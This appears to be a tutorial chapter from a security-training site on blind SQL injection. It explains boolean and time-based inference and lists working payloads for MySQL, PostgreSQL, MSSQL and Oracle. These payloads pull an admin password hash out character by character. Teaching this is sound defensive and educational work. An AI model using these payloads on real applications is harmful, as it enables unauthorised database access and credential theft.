SQL Injection: The Complete Practical Guide
Blind SQL Injection: Boolean and Time-based
Extract data when the response shows nothing. Boolean-based inference, character-by-character extraction, and time-based blind SQL injection per DBMS, step by step.
Published
Blind SQL injection is injection where the application returns neither the query's data nor its errors. You cannot read anything off the page, so instead you ask the database yes/no questions and infer the data one character at a time.
What "blind" means
The injection is real, the query runs, but the output is invisible. No reflected rows, no error text. What you still have is influence: you can make the page behave one way when a condition is true and another way when it is false, or make it slow down on demand. That difference is your entire data channel.
Confirm it is injectable
Send a condition that is always true, then one that is always false, and compare the responses:
' AND 1=1-- - (always true)
' AND 1=2-- - (always false)If the two differ in any observable way (body, length, status code), you have a boolean channel. If they are identical, you will need time.
Boolean-based: inferring one bit at a time
Ask a true/false question about the data and read the answer from the response difference. Is the first character of the admin password hash greater than m?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m'-- -A "true" response puts the character in the upper half of the range, "false" in the lower. Binary-search that position, then move to the next.
Extracting a string character by character
Pin each character exactly, then walk the string:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1))>109-- -SUBSTRING (or SUBSTR on Oracle) picks the position, and ASCII turns the comparison into a numeric binary search. It is tedious by hand and trivial to script.
Time-based: when there is no visible difference
When true and false look the same, make the database wait on a true condition and time the request:
MySQL: ' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m',SLEEP(5),0)-- -
Postgres: '; SELECT CASE WHEN ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m') THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
MSSQL: '; IF ((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m') WAITFOR DELAY '0:0:5'-- -A response that takes about five seconds means the condition was true. Same binary search, measured in time. Keep the delay long enough to beat network jitter and short enough to stay fast.
Conditional delays per DBMS
| DBMS | Sleep function | Conditional form |
|---|---|---|
| MySQL | SLEEP(5) | IF(cond,SLEEP(5),0) |
| PostgreSQL | pg_sleep(5) | CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END |
| MSSQL | WAITFOR DELAY '0:0:5' | IF(cond) WAITFOR DELAY '0:0:5' |
| Oracle | dbms_pipe.receive_message(('a'),5) | CASE WHEN cond THEN dbms_pipe.receive_message(('a'),5) ELSE NULL END |
Automating the extraction
Blind extraction is pure repetition, so script it: a loop that binary-searches each character and walks the string. Writing that loop yourself once is the best way to understand what tools like sqlmap do under the hood. See the sqlmap guide when you want to automate.
Time-based is best learned by feel. Sign up free and extract a secret one character at a time.